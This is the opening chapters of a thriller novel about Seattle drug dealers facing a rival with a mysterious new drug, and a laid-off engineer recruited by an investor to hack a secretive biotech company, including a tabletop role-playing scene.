



DOPAMINE

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DOPAMINE

A novel by

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Prologue

DOPAMINE

1

“The most lively thought is still inferior to the dullest sensation.”

— *David Hume (1711-1776)*

PEANUT SHELLS CRUNCHED UNDER THE SOLES of Eugene’s designer sneakers. He leaned against the carving-pocked bar, careful to avoid dipping the elbow of his custom-fit leather jacket into something sticky and unnamable. Around him, tattooed men with large bellies and larger beards swigged Jack Daniels and bragged about the horsepower of their “hogs” beneath the blare of the jukebox.

“I didn’t mean to make trouble, Eugene,” a young, thin man said with a gulp.

Eugene clapped a hand firmly on his shoulder. It could have been a gesture of friendship, but it wasn't. "You cheat us, and think this wouldn't make trouble?" Eugene said sweetly. He spoke fluidly, but his hard consonants and throaty vowels betrayed his Russian origins.

"It's not just me!" the fellow said shakily. "Jimmy jumped last week, and Martinez..."

Eugene slid his hand up toward the man's neck. "Do you think Sergey and I aren't *painfully* aware of that, Francisco? How much is the street price for loyalty?"

"I... like selling for you, Eugene," Francisco stammered. "You and Sergey, you always treat me good. It's just that..."

"This new supplier's product is so much better, right?"

Francisco's lips trembled. "Her staple is better than your samplers, chief," he said almost apologetically. "But that's not the point."

Eugene's eyes narrowed. "What is the point, Francisco?"

Through a dry mouth, he murmured, "She charges a fifth of your prices."

Eugene leaned in, pulling Francisco's face to his ear. "I'm sorry. I don't think I heard you right. You said she's undercutting us by a *fifth*?"

“Undercutting you *to* a fifth. What you sell for a grand, she sells for two hundred. They say she makes it locally, chief. She can, like, grow it in a tub of saltwater or something. Like with pot. Some kind of *hy-dro*-ponic...”

Eugene rolled his eyes. “Francisco, how did you get to be a salesman without knowing shit about your product? Coca is not like hemp. Each bush has very little usable material. A kilogram of coca leaves will only yield five grams of blow. Farms need to harvest acres of crop just to break even. You would know this if you were not an idiot.”

“Look, I don’t know how it works, chief,” Francisco pleaded. “I’m just saying what I heard. Look at her prices, though. It checks out, right? She’s got no import costs. No cartel dues. No *Federales* bribes. Maybe she knows something you don’t.”

Eugene’s fingers closed around Francisco’s throat. He looked into his reddening eyes and hissed, “You betray us for this utter bullshit...?”

Gasping, Francisco honked out through his squeezed larynx, “See for yourself, chief!” He reached out with one thin arm and pointed toward the back of the bar.

Eugene’s gaze followed his trembling finger past silhouettes of gruff drunks. Near the pool table in the back, the crowd simply stopped, like a sea held back by an invisible dam. There, on a tall bar stool, sat a young Asian woman drinking a

fluorescent cocktail. Eugene couldn't make out details, but, amid all the black t-shirts and grease-stained jeans, her sleek white dress and gladiator stilettos stuck out like a Viagra in a bag of molly.

"She's *here*?" Eugene grunted. He released his hold on Francisco, who coughed and wheezed as he reclaimed his breath. "*That's* who's muscling in on our area?"

"She showed up about two weeks ago," said Francisco, his voice still raspy. "She's been using this joint for one of her recruiting grounds."

Eugene squinted. A pink Hello Kitty purse rested on the girl's lap. "She doesn't even look old enough to be drinking."

"She's been growing a network real damn fast," Francisco explained. "I figured, the way she's going, pretty soon I'd be working for her anyway. And eventually, so would you."

Eugene smacked him hard upside the head. "Get the fuck out of here, Francisco. Go. Leave town. If Sergey or I ever see you again, you're a dead man."

Sparing not a moment, the youth pushed himself away from the bar and scuttled through the crowd, making a hasty exit through the door.

Eugene stayed put, watching the girl keenly. Three muscular men shared the empty area with her — one by her side, the other two absorbed in a game of pool. He pulled out his cellphone. “Sergey,” he typed. “Get down here. You have to see this.”

A reply came almost immediately. “Busy. Picking the music with Rosie for dance recital. Are you having something more important than evening with daughter?”

Eugene carefully slipped his way through the crowd toward the back of the bar. He angled the phone’s camera at the Asian girl, waited for some biker to move his enormous head, and snapped a photo. “In Renton,” he typed beneath the image attachment. “Take the Tesla, you can be here in 10 minutes.”

He waited for a reply. None came.

Before him, the girl sat and drank, texting furiously on her cell, saying nothing to her three large companions. Her foot wagged cheerfully like a dog’s tail. Occasionally she would reach a hand into her Hello Kitty purse and withdraw it carefully, one manicured fingernail held upturned like a spoon, carrying a small scoop of fine white powder that promptly disappeared up her nose.

Eugene glanced at his phone. Still no word from Sergey. With a grimace, he rolled his shoulders, cracked his knuckles, and strode forward.

The bodyguard’s arm immediately barred his approach.

“I want a word with the lady,” Eugene said.

“Lady doesn’t want to talk to you,” the guard replied.

Eugene talked past him, directly to the girl. “Have you heard of Sergey Mukhayev?”

She cocked an eyebrow and put away her cellphone. “Let him through,” she said. The guard promptly stepped back to resume his post at her side. She spent several silent seconds scrutinizing Eugene, her fingers fiddling against her cocktail glass. Her pupils were the size of dimes. “So,” she finally said. “I figured I’d run into you sooner or later. Eugene, right? I’ve heard stories.”

“Do you have a name?” he asked.

The girl sipped her drink. “Julie,” she replied. “Julie Yen. Get to know it. It’ll be a household word.”

From this distance, Eugene confirmed his initial impression: the girl was still mostly a child. He shook his head. “What the hell is this? Did your daddy get you a My Little Druglord playset for your birthday?”

The guard beside her snarled, “Respect the lady!”

Eugene replied, “Your lady is stepping on some very big toes.”

The girl chuckled. “Yeah. I bet I am. Thomas Edison stepped on the toes of the candle industry too. And Henry Ford pissed off a lot of horse breeders.”

“I don’t know what the fuck you’re talking about, little girl,” said Eugene. “What I do know is that you are in Sergey’s territory. And that means you better start answering a lot of questions if you know what’s good for you.”

The stoic bodyguard advanced. “You’re threatening my boss, buddy. Your conversation’s over.”

“Where is your source?” Eugene barked over the guard’s shoulder. “Who is your cartel contact? How are you evading Coast Guard patrols?”

Julie Yen laughed raucously. “Oh, Eugene! Dear obsolete, useless Eugene! What would be the point of explaining anything? You wouldn’t understand a word I told you.”

Eugene noticed that the occasional click of colliding billiard balls behind him had ceased. The two pool players were no longer engrossed in their game. He realized that could mean only one thing: they must be standing right...

He ducked down into a squat, spinning and kicking out as he dropped. His leg made contact with an ankle. He crooked his knee, sweeping out the foot of one of the men behind him. The would-be assailant fell backward, knocking his head against the pool table as he tumbled. Eugene rose from his squat to deliver his fallen opponent a swift stomp on the chest. Ribs cracked beneath his heel.

He turned to the other pool player just in time to see a cue swinging at his face. He leaned into the arc of the swing, grabbed the stick, and spun with its momentum, turning his back toward its wielder. An elbow jab made contact with the attacker's gut hard enough to sink him to his knees, but the man's grip on the stick remained firm. Eugene wrestled the cue downward against the floor and pushed until it cracked in two. He grabbed the thicker end and rammed the butt against his attacker's temple. The kneeling man reeled and collapsed.

The bodyguard at Julie's side approached the melee, reaching out to grapple Eugene with elephant-trunk arms. Eugene quickly scanned the large man's posture for weaknesses.

A pair of hairy, thick-fingered hands appeared beneath the bodyguard's armpits. They snaked up over his shoulders and joined behind the man's head, locking his arms in a full nelson. The guard, taken by surprise, struggled to break free from the large figure that had just appeared behind him.

Eugene wasted no time. With the broken pool cue still in his hands, he thrust the cracked end into a patch of vulnerable flesh just below the guard's ribs. The splintered wood tore through cloth, skin, and muscle, and when Eugene released the stick it remained lodged in his torso. The bodyguard emitted a long, powerless grunt and sank to the floor, his blood running down the pool cue. The bartender and patrons looked away furtively as the wounded man crawled toward the exit; they were savvy enough to see and hear nothing.

With the bodyguard fallen, Eugene saw the round, rugged face and the massive, middle-aged form of the man who had come to his aid.

“Sergey!” Eugene said in his native tongue. “What did you do that for? I could’ve handled him on my own!”

Sergey smirked warmly at him. “Where’s this princess that’s causing so much fuss?”

The two of them spotted Julie cowering by the back wall, crouching in her couture footwear. She held her barstool in both hands, jabbing it at them like a lion-tamer and screaming, “Fuck off, you freaks!” There was no place for her to run.

Sergey regarded her with a frown. “She’s very young.”

“And high as the moon,” Eugene added. “Apparently she manufactures it by herself.”

Sergey nodded. “I’ve heard these rumors. Think they have any truth to them?”

“She says we wouldn’t understand the truth,” Eugene said as he and Sergey slowly closed in on her. “But I think she’ll have plenty of time to explain it to us.”

Act I

DOPAMINE

2

THE SOUND OF APPLAUSE REMINDED DANNY of this one time in an alternate universe. His band was playing their most popular set before an adoring throng of pink-haired girls and slim-hipped guys. Power chords soared above their wild screams as he pulled the microphone away from his lips and spread his arms to embrace the spotlight. His life was a hedonistic montage of groupies, hard drugs, and wealth beyond imagination.

Unfortunately, that never actually happened.

The applause should be louder than this, thought Danny. I gave a great performance here. They should be whistling and screaming and throwing their underwear at me.

Danny looked around and decided it's best if they didn't.

The applause was polite and professional. It came from about two dozen 50-something men in a small conference room. In place of tattoos and piercings were hair plugs and porcelain dental veneers. About half were wearing gray suits, like Danny. The rest were in khakis and polos, doubtlessly planning to get back to their sailboats or golf courses right after the meeting let out.

One attendee actually *was* wearing a concert T-shirt under his suit jacket — a *Nine Inch Nails World Tour* XL tucked into pleated suit-pants, spread over a belly that had apparently gone decades without being subjected to a sit-up. The thinning remnants of his salt-and-pepper hair were gelled upward into what would've been a hip, groovy spike 'do on a man half his age.

There was no microphone in Danny's hand, only a laser pointer. No spotlight, only a high-resolution projector hooked to his laptop. No hit rock song, only a PowerPoint presentation describing a 4G cellular multiplexing algorithm by Claymore Communications.

Danny's boss, Jerry Young, was the only other person in the room without a designer watch. He moved deftly to take control. "Folks, I just want to say, before we move on, that Danny and I really appreciate this opportunity to present our technology to you. I've worked for a lot of dot-coms where the investors really don't care about the tech, and it's nice to see Claymore's financial contributors showing a genuine interest."

“Oh, our pleasure!” said the man in the Nine Inch Nails T-shirt. “Danny’s presentation was amazing, but not as amazing as his technology. What you’ve shown here is an upcoming cellular revolution, and I’m proud to help it come to fruition!” Later that day, NIN Man bought Claymore Communications with his personal funds, and the company went public. Danny cashed in his stock options to buy a downtown penthouse, and spent the next several years building Claymore into the world’s premier data systems provider. He was featured in *Time* magazine as the face of digital communication in the 21st century.

That never actually happened, either.

Instead, the man in the Nine Inch Nails T-shirt said cheerfully, “We’re just glad you could set up this meeting for us! Your man Danny here really seems to know his material.”

Jerry beamed. “Yes, Danny’s been a great asset to the company. He’s been Claymore’s lead engineer for... How long, Danny? Five years now?”

“Six,” Danny said.

“Six years,” Jerry repeated. “He ran the Naval Base Kitsap project last year almost single-handedly. He’s personally responsible for most of the firmware designs you guys saw here tonight. And you should see him bust a move on *Dance Dance Revolution!*” The investors laughed on cue. From there, Jerry Young took the

room. He launched his own set of PowerPoint slides, discussing things like potential partnership strategies and market penetration projections. Danny stood aside so that the big boys could play.

In some alternate universe Danny had gone to get an MBA after finishing his master's degree. He moved to New York and quickly climbed the ladder at a multinational holding company, and eventually became a manager of a tech-heavy hedge fund. He dated models, dined at fine restaurants, and lit cigars with burning hundred-dollar bills. By night he donned a cape and cowl and prowled the rooftops fighting crime.

In the real world, during his last trip to New York he'd managed to drop his cellphone onto a set of subway tracks. In reality, New York sucked.

Reality sucked.

"Reality sucks."

Crap! I didn't say that out loud, did I?

The words had escaped under his breath. All eyes turned to Danny. Jerry's jaw hung open, mortified.

"I... sorry," Danny said. "I was just... My mind was somewhere else."

Jerry stepped in diplomatically. “Danny’s been working hard lately to put this presentation together for you guys. He stayed up late last night giving it a final polish. He could probably use some coffee. Right, Danny?”

Danny took the hint. As he escaped the room, he heard Jerry resume the presentation.

Reality sucks?

No. I suck.

THE COFFEE POT IN THE COMPANY KITCHEN held Danny in rapt attention. Danny gazed at it, mesmerized. It glowed with a shade of red just slightly deeper than the visible spectrum. Infrared. Every object in the universe emitted black-body radiation with a brightness and color determined by its temperature. Danny stared unblinkingly as he tried to compute the hot coffee pot’s emission spectrum, a relatively easy task using Planck’s Law; the power per unit area I of frequency ν from a body at temperature T was equal to ν cubed times 2 times the Planck constant divided by...

“Danny...?” came a sudden voice from behind him.

Danny twitched back to awareness and turned around to greet his visitor. He found himself alone in the Claymore kitchen with the overweight investor in the Nine Inch Nails shirt. “Hi! Oh... I’m sorry, I didn’t mean to be hiding in here.”

“You look like you got distracted by something shiny,” said NIN man.

Danny smiled sheepishly. “I did. Um... Is the meeting over? I should get back to the conference room. You guys probably have technical questions for me.”

“Relax, Danny,” NIN man said collegially. “I’m glad I found you in here. I was actually hoping I could talk to you about something besides Claymore.”

“Oh. Then, uh... How can I help you, Mister... uh...?”

“Tuttle. Jason Tuttle. Call me Jason,” the investor said as they shook hands.

“First off, I just wanted to tell you face-to-face that I meant what I said in there. That presentation was just excellent. You do great work.”

“Thank you,” Danny replied earnestly.

“Listen,” said NIN Man. “I’d like to run something by you. I’m putting together a small team for a project I’m working on. I could really use a man like you.”

Danny blinked in eager bewilderment. “You want to offer me a job? A... A job outside of Claymore? A job having nothing to do with 4G cellular multiplexing?” Danny noticed his voice rising. He cleared his throat. “I... Uh... I’m honored, Mister... Jason. But I can’t. I’m a Claymore employee. Are you even allowed to be asking me about other work?”

“Oh, don’t worry, Danny. You have no obligations to Claymore anymore.”

“Of course I do. We’ve got 182 Bugtraq tickets with less than four weeks left to hit ZBB before the next QA handoff...”

“You can forget about all of that, Danny. None of it will help Claymore at this point.”

“What do you mean?” Danny asked.

Jason smiled coyly. “Can you keep a secret?”

Danny nodded.

“Danny, next week there isn’t going to be any Claymore Communications. We’re pulling the plug.”

Danny blinked uncomprehendingly. He heard Jason’s words, but his brain short-circuited while trying to parse the sentence. He muttered, “Does not compute.”

Jason said matter-of-factly, “Claymore has never turned a profit, you know.”

“Well... Yes, but... We’ve been focused on research...”

Jason cocked an eyebrow. “You’ve basically been living off of our generosity.”

“That’s only temporary, until we establish a sales pipeline...” Danny insisted.

“It’s taken six years already. Who do you think’s been providing your paychecks this whole time? Benevolent gods from the ancient empire of Moneypotamia?”

Danny’s throat went dry. “Why now?”

“It had to happen eventually, Danny,” Jason said. “The investment group’s been discussing it for months amongst ourselves. We can’t keep our assets locked up in this dead-end project anymore. Enough’s enough.”

“I don’t understand...” Danny’s voice was almost a whimper. “What happens now?”

“Now we bundle up Claymore's intellectual property,” said Jason, “and sell it to the highest bidder. Someone like AT&T or Verizon or Google. Or the military. It’ll be easy for us to pitch the technology now that we know how it works.” He winked.

Danny felt his stomach lurch. “My presentation...?”

“Yep. That’s why we needed you to put it together on such short notice. The other investors have the next several weeks booked solid, meeting with senior engineers and CTOs of other companies. And none of it could have happened without that show you just gave us. Really, Danny, you do excellent work.”

Danny looked away, his face pale.

“I’m sorry I couldn’t break the news a little more, er, ceremoniously,” Jason said. “Nobody outside the investment group knows about this. I’m taking a legal risk in telling you. I hope you’ll accept that fact as a token of trust. The job I need you for is a little, shall we say, sensitive.”

Danny rubbed his temples. “Wh— What about the work I’ve done in the past six years?” he said shakily. “My conference papers, my chip designs, my driver patches...”

“Sunken costs, Danny.”

He swallowed hard, and stared at Jason bitterly, saying nothing.

Jason put a hand on his shoulder. “Hey. Buddy. It’s not personal, alright? Claymore’s implosion is happening. I know it must hurt, but that’s life. At this point, all I can offer you is this new job. Are you interested?”

Danny shrugged. His head slumped down in a gesture that was a nod only by default.

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“You know the bar Noc Noc near Pioneer Square?” Jason asked. “Meet me there tonight. I’ll tell you all about it.”

3

NOC NOC WAS ADORNED WITH GRINNING GARGOYLES and occult symbols. Twisted mannequins stood in corners, as though the Medusa sculpture by the door had turned mutant patrons to plastic. Young men and women with assorted bits of metal in their skin sipped colorful drinks to the buzzing, beeping background music.

Danny walked in carrying a Claymore tote bag full of electronic junk, with thick wires and plastic pipes protruding from the top. He spotted Jason Tuttle alone at a table.

“I take it you haven’t been home?” Jason teased, eyeing the suit Danny was still wearing from the afternoon’s presentation.

“I hung out in the office after our chat,” Danny said as he sat down to join him. “Figured I’d soak in the vibe one last time. Play with the Foosball table. Kick the vending machine.”

“But I see you didn’t walk away empty-handed,” said Jason, looking pointedly at Danny’s bag.

“This? Just a souvenir,” Danny said. “Nothing that anyone but me would miss.”

“Is it Claymore property?” asked Jason pointedly.

“Does it seriously matter anymore?” Danny replied morosely.

“Yes, actually, it does,” Jason rebutted. “Remember, we’re auctioning off Claymore’s assets. Everything’s up for appraisal. The software, the hardware, the furniture, the company van. Everything. If whatever’s in that bag has monetary value, then you’re committing theft against the investors. That includes me.”

Danny gazed into the bag’s metal-strewn depths. “Monetary value?” he echoed hollowly.

Jason shrugged callously. “Everything has *some* monetary value, Danny.”

Danny silently reached inside and carefully fished out a foot-long, six-inch-wide flared metal tube. Attached to the tube was a rubber-coated cylindrical handle with a plastic trigger near the top. Metal blocks protruded from its back, connected to thick red and black cables that dangled down into the recesses of the bag. Danny held the assembly delicately by the pistol grip, his finger near the trigger. His eyes traced the device’s joints and contours like fingertips across a lover’s body.

“What is it?” asked Jason.

“Something I designed and built during Claymore’s contract at Naval Base Kitsap,” Danny said, still looking at the machine. His voice was quiet, almost tender.

“It looks like some kind of homemade megaphone on steroids...”

Danny replied, “It’s a 3-megawatt S-band magnetron fitted to a 24 dB gain extended horn antenna, driven by an LC oscillator that delivers 50-nanosecond pulses at a 5% duty cycle. Its power train is a high-voltage ultracapacitor bank fed by a parallel-wired lithium ion battery pile, with a built-in wall-power converter — which makes the whole machine self-contained, man-portable, and field-rechargeable.”

Jason shrugged. “None of that means anything to me.”

Danny broke his eyes away from the contraption to look at Jason. His gaze was cold. “Exactly,” he said.

Jason’s face crinkled into a smile. “I see you take pride in your work.”

Danny’s mouth formed a distant, melancholy frown. “It keeps me going.”

“Tell you what,” said Jason. “Hear me out on this little project. If you decide to accept it, consider your gizmo there as a starting bonus. Sound good?”

Danny put the device back in the bag and gave Jason his patient attention.

“Tell me, Danny. How much do you know about me?”

“Nothing,” Danny answered with a shrug. “I didn’t know your name until this afternoon. I tried to Google you after our chat. Got a bunch of hits on some company called Tungsten Medical Technologies. Some kind of medical supply retailer?”

Jason nodded. “Yes, Tungsten. That’s exactly what I was hoping to talk about.”

“You were, like, their head accountant or something, right?” Danny asked. “That’s what my search turned up, anyway.”

“Yes. I was their COO. Chief Operations Officer,” Jason clarified. “I was with Tungsten for a long, long time – almost since they started, back in the seventies. We sold high-end surgical equipment and medical tools. We supplied a lot of research labs. It was a good company to work for. Privately owned, friendly, very customer-focused. Good times.”

“I’ve never heard of it before. Is it big?” Danny asked.

“At its height it was maybe three hundred people,” Jason explained. “Mostly sales teams. We had guys who bought equipment from manufacturers, and other guys who’d turn around and sell it to schools and hospitals.”

“So this Tungsten company doesn’t actually make anything, then?”

“Back then, no. We were just re-sellers. Our profit was our markup.”

“Sounds simple, but I feel like I’m missing something,” said Danny. “Why would a customer bother going through a middleman? I mean, if I’m a surgeon looking for a shiny new scalpel or something, I’d just go to the manufacturer’s website.”

Jason answered, “And how exactly would you do that in the late seventies?”

Danny laughed at himself. It was easy for him to forget that basic things like ubiquitous online shopping were barely more than a dozen years old.

“You hit the nail on the head, though,” Jason continued. “The Internet hasn’t been kind to Tungsten. It made our core business model obsolete. Tungsten spent the last ten years in a death spiral. When the recession hit, the company finally fell apart. We laid off almost everybody. I took severance. It was a hard decision, but I could tell we were finished. The company got ready to sell off its stockroom and close its doors.”

“But it managed to survive?” asked Danny.

“Yes, but... it’s changed,” said Jason. “Two years ago, some nameless overseas consortium swooped in and bought the company. These foreign guys — Russian, Estonian, something like that — they were able to get it for a steal. They installed this old scientist to run the whole shop. Dr. Pyotr Passinsky’s his name. The investment consortium wires him money, and he pays the bills and keeps the staff in line.”

“So there’s still a staff around.”

“Yeah,” said Jason. “Dr. Passinsky kept some of the technical salesmen who knew their way around the old equipment. Then he went and hired about a dozen new people. Very pricey people. Geneticists, chemical engineers, neurobiologists. The consortium apparently has this vision to re-vamp Tungsten into a cutting-edge research shop for pharmaceutical biotechnology.”

Danny nodded. “Heh. Biotech,” he said wistfully.

“Yes,” said Jason. “Are you familiar with that technology space at all?”

Danny shook his head with a distant smile. His mind, as it was prone to do, drifted.

The very word “biotechnology” conjured for him images he had long forgotten. There was a time before the Internet boom when a young computer enthusiast wasn’t seen as a potential millionaire, but rather as a pimple-pocked social outcast suitable solely for locker-stuffing and atomic wedgies. It was a time when his fellow Generation X tech nerds were all reading William Gibson’s *Neuromancer* and playing *Shadowrun* and dressing like *The Matrix*; when they all said to each other with heady excitement, “The future is *digital*!” Growing up, they had made that future real — configuring ISDN lines, building websites, creating dot-coms, like homesteaders and gold prospectors taming the West.

Yet now, *because* they made it real, by definition it wasn't futuristic anymore. Danny's first few jobs made him feel like a pioneer in a vast uncharted wilderness. Now he just felt like a soulless office drone.

But *biotechnology*, Danny mused. Biotech still held unscaled vistas and unseen horizons — the next “virtual reality,” the next “information superhighway,” the next “cyberspace.” The future *used* to be digital. Now the *present* was digital. The future was squishy.

“Not even a little,” Danny answered. “But I have friends who work at the Fred Hutchinson Cancer Research Center. I see the smokestacks of the ZymoGenetics building twice a day on my commute. I've seen the construction zone in South Lake Union, where Paul Allen is building that gigantic Institute for Brain Science. I know Seattle's quickly becoming a nexus of biotech, just like it was once a nexus of the Information Age. Biotech's been right around the corner for decades. I guess it's finally happening.”

Jason nodded. “Exactly. Biotechnology is getting big. But Tungsten isn't.”

“You don't think so?” asked Danny.

“They're playing a very strange game over there right now,” said Jason. “In the entire two years under Dr. Passinsky, they haven't filed a single patent. They haven't published any papers or presented at any conferences.”

“And that's unusual?” Danny said naively.

“Very. See, if Tungsten was really trying to join the pharmaceuticals race, they’d be building a reputation for themselves and negotiating with someone like Johnson & Johnson for a buyout,” Jason explained. “FDA approval is a long and painful process, and a tiny player like Tungsten should be trying to join some so-called ‘mega-corporation’ to leverage their clinical trial pipeline. Look at ICOS Biologics, over in Bothell. They used to be the biggest biotechnology firm in Seattle. They developed Cialis, the drug for erectile dysfunction. What did they do? Sold to Eli Lilly. Or take ID Biomedical — they created a flu vaccine mist that you spray up your nose. They sold to GlaxoSmithKline. That’s how this game goes. But Tungsten isn’t playing.”

“Have you talked to them?” asked Danny. “You were their COO. You have a long history with them. Can’t you just call them?”

“No way,” said Jason. “My time with them was before this new consortium took over, so I have no more access than anybody else. They have no public relations arm. The only person you can reach on the phone is their receptionist, and she doesn’t know anything.”

“And what about the scientists? Those lab workers? I mean, Jason, you’re a rich guy. You could just bribe them to tell you what’s going on.”

“I tried that, actually,” Jason confessed. “See, the company’s only about twenty heads, so talking to the workers without setting off alarm bells is tricky. I figured I’d go for someone low on the totem pole. They have a college intern, this twenty-

year-old Asian-American girl named Julie Yen. I hired a private eye to check her out. She'd been acting really strangely for several weeks, so we figured she must be having personal problems. Drug problems, maybe. My guy approached her and offered her cold hard cash to tell us what she's working on. She just got this big grin and said, 'Wouldn't *you* like to know!' She started hanging out with some really shady characters after that. We didn't follow her."

"I see. What about their computers? Have you tried hacking in?" asked Danny.

Jason didn't reply. He just looked at Danny and grinned.

"Oh God, you're shitting me," Danny said with a gleam in his eye. "You want *me* to hack into Tungsten."

"Yes. Hack in and find out what they're up to. This Eastern European consortium took over my old medical supply company and turned it into some kind of top-secret research facility, and I want to know what they're making in there."

The corners of Danny's eyes crinkled. "A hacking mission?"

Jason nodded. "I presume you've got expertise in the matter. I mean, you're an incredibly talented engineer, so I figured..."

Danny flashed him a nervous grin. "Actually, I... well, I... kinda..."

Danny thought back to his career as a hacker long, long ago. It consisted of him finding a staff newsletter on his freshman homeroom teacher's desk. In a section listing important high school faculty phone numbers, they'd given the extension for a dial-in connection to a system that the teachers could use for inputting students' grades. At the time, Danny had an 8086 IBM PC with a 1200-baud Hayes modem. After fiddling with the modem's settings through trial and error, he got it to connect to the school's computer. Sadly, he saw that he needed to enter a teacher's username and password in order to change any grades, and was about to give up.

But then he noticed that the main screen displayed, "NUMBER OF CURRENT USERS," and the number wasn't going down. Danny discovered, through sheer luck, that the grades system's connection-handling software had a flaw: if he simply hung up without logging out, the system would think his connection was still open. Danny guessed that the system could only handle so many connections at a time, so he started calling and disconnecting over and over again to max it out. He was right – the system would accept no more than 255 simultaneous users, at which point it simply wouldn't answer any more incoming phone calls. Victory! The school's teachers couldn't enter their grades anymore! The school fixed it by rebooting their computer, but Danny simply jammed it again the next day. He kept this up for a few weeks until his parents got the phone bill.

"Uh, Jason, I'll be honest," said Danny. "My skills might be a little rusty."

“Don’t worry. I’ve already assembled a team,” said Jason. “I’ll introduce you tomorrow. Three other guys. Very skilled. I want you to lead them. What do you say?”

Danny looked away. “I don’t know.”

“You don’t know?” Jason echoed.

He said hesitantly, “What you’re asking for is illegal,”

“Which is exactly why I need someone I can work closely with,” said Jason.

“Someone I can trust. Danny, I know there are professional hacker organizations out there – there are even entire companies that do information security operations. But the legitimate ones won’t take on a project like this, and the illegitimate ones are, um, not the kind of people I want to do business with. I need someone I already have an established working relationship with – and you’ve been on my payroll for the last six years. I need *you*, Danny.”

“*Me?* But... I don’t think I’m...” he stammered. “Look, Jason, the skills for *building* data systems aren’t the same as the skills for *breaking* them. It’s a different mindset.”

“So you don’t think you’d be able to do the job?” Jason asked with disappointment.

Danny bristled at the insinuation of incompetence. “I can *absolutely* do the job,” he replied quickly. “I... I’ll have to think about it.”

Jason gave a crisp nod. “You think. I’ll go get a beer.”

He left the table quickly. For several moments Danny sat limply, listening to the atonal electronic background music, watching the empty space where Jason had been.

There would be no Claymore the following day. No 9:30 standup meeting, no bug triage, no competitive analysis reports. None of the ritual or rigmarole that had defined his life for the last six years. And in its place was... nothing. Nothing.

He pulled his cellphone out of his pocket and launched the LinkedIn app. He typically used it to keep in touch with contacts he made at conferences. For the first time ever, the profile he loaded was his own.

Six years at Claymore Communications, developing a new cellular multiplexing protocol. And before that, three years at a company that built network appliances. And before that, three years building custom FPGA-based digital radio systems. And before that...

Not a single company in his entire employment history still existed. He’d gotten in on the ground floor of each one, when they were still a dozen employees or less, with the hope of riding the wave to prominence. Instead, they all fizzled in

the wake of new technologies. The relentless pace of the industry invariably rendered every one of his projects obsolete and useless by the time it could be brought to market.

Jason returned to the table. “So...?”

Danny said nothing.

Jason prodded, “With Claymore dead, what else will you do?”

Danny shrugged. “I’ll find some way to spend my time. I’ll hang out at Ada’s Technical Books on Broadway. I’ll tap some local connections in the Maker community and engineering Meetup groups. I’ll...”

His gaze drifted downward at his cellphone screen. His own face, with slightly smoother skin and brighter eyes, looked up at him from the LinkedIn headshot. The objective statement beside it read, “Creative, optimistic computer engineer eager to make history in the digital revolution.” It hadn’t been modified in over six years.

“I’m in, Jason,” he said. “Let’s make it happen.”

DOPAMINE

4

K RONGOR'S BATTLEAXE SPLIT THE ORC'S SKULL in half, spraying the cavern wall with black ichor as the creature fell lifeless at the barbarian's feet.

Several paces ahead, Zhan quickly chanted arcane syllables. With a hand that suddenly glowed white, the wizard grabbed a nearby orc by the arm. Arcs of lightning surged through its body as its vibrato screams echoed through the cavern. The air filled with the stench of ozone and burning hair. The monster fell backward, twitching but lifeless.

A veritable army of the foul beasts surrounded Krongor, stabbing with their serrated swords. The muscular warrior's axe cleaved through an orc's torso in a single blow. Yet no sooner had the foe fallen than one of its comrades advanced to fill its place.

Zhan pointed toward the barbarian with splayed fingers and shouted another incantation — and in an instant, Krongor found himself engulfed in an inferno. In all directions, all Krongor could see was orange tongues of flame. The very air around him set alight, searing his lungs and singeing his hair. His skin blistered and charred.

And just as quickly as the fire had appeared, it vanished. The cavern was silent, save for the sizzling from the burnt remains of the orcs. Amidst a circle of ashen bodies, Krongor collapsed to his knees in agony. “You idiot!” he growled.

“I’m sorry!” cried Zhan. “They were all around you! It *did* kill them all, at least...”

Thin trails of smoke still rose from the barbarian’s skin. He gritted his teeth, keeping himself conscious solely through strength of will. “Stupid blasphemous wizards! Just use your damn hocus-pocus powers to patch me up, will you?”

Zhan nodded apologetically. He sat beside Krongor in a meditative pose and began whispering prayers to Eir, Goddess of Healing. The deity’s warm love reached even down into these dark pits. As he prayed, Krongor’s wounds closed and healed before his eyes.

There was some dispute over whether or not that actually happened.

“I don’t care what you think I said before!” insisted Satish, a short, stout Indian man. “I’m telling you now, he has no healing spells.”

Satish sat at the head of a highly lacquered table, on a leather bench that wrapped along the walls of a yacht’s cabin. The table consumed half of the space in the wood-paneled room. Through round portholes, the water of Lake Washington glistened in the midday sun.

The shiny table held a disorganized pile of books, dice, and Cheetos. At the center, atop a plastic sheet with a hexagonal grid and dry-erase marker lines, stood two-inch painted pewter figurines – one mighty axe-wielding barbarian, one wizard, and several orc figures lying face-down.

“This is bullshit!” Mike fired back, waving a handful of papers. He was dark-haired and tall, well-muscled but too fat and scruffy to show definition. “When we were in Salavina, I remember Zhan going to the Temple of Eir and learning a healing spell from the High Priestess.” He turned to his side. “Didn’t you?”

Jason Tuttle sat next to Mike, chugging a soda and adding up experience points on a worn character sheet. “She taught me a prayer for good health, Mike,” he said. “She didn’t grant me the authority to channel the power of her god.”

“She did! She totally did! Ask Moshen!”

Moshen, a scrawny Asian kid with thick glasses, sat near Mike at the table, his nose deep in a rulebook. “Leave me out of this, man. I’m not even here,” he said without looking up. “I’m still waiting for the two of you back in town, getting drunk and hitting on wenches.”

Mike turned back to Jason. “Are you telling me that you talked me into helping you fight through these orc-infested caverns, and you can’t even cast any healing spells!?”

Jason shrugged. “Wizards can’t cast healing spells, dude. Everybody knows that.”

“Mike, quit being such a munchkin!” Satish railed. “It doesn’t make any sense for wizards to heal! Wizard and priest spells operate on completely different principles. Wizards throw lightning bolts and fireballs. Priests manipulate life energies. It’s a big difference!”

A low, frustrated noise came out of Mike’s throat. “Stupid freaking wizards...”

“Really sorry about the fireball,” said Jason. “My bad.”

“Give me Zhan’s character sheet, Jason,” Mike demanded.

Jason put a protective hand over the paper. “Why...?”

Wielding an eraser with menace, Mike declared, “I’m going to change him into a fellow barbarian.”

Jason's face was a mask of horror. "Don't even think about it!"

"Try and stop me!" Mike snatched at Zhan's character sheet. Jason yanked it away and held it at arm's length. Mike tried to reach around Jason, but he wouldn't yield. The two overweight grown men slapped at each other and wrestled for control of the pencil-marked sheet on the narrow cabin bench.

Their bickering was interrupted by footsteps above. Through the portholes they could see jeans and hiking boots. The visitor knelt down to peer inside. Danny's face appeared in a porthole. Jason pointed to the entrance.

"Hey," Danny said as he descended the steep stairs into the cabin. "Oh good, I got the right boat."

Jason waved hello. "Hey Danny, glad you could make it. Come on in, meet the gang."

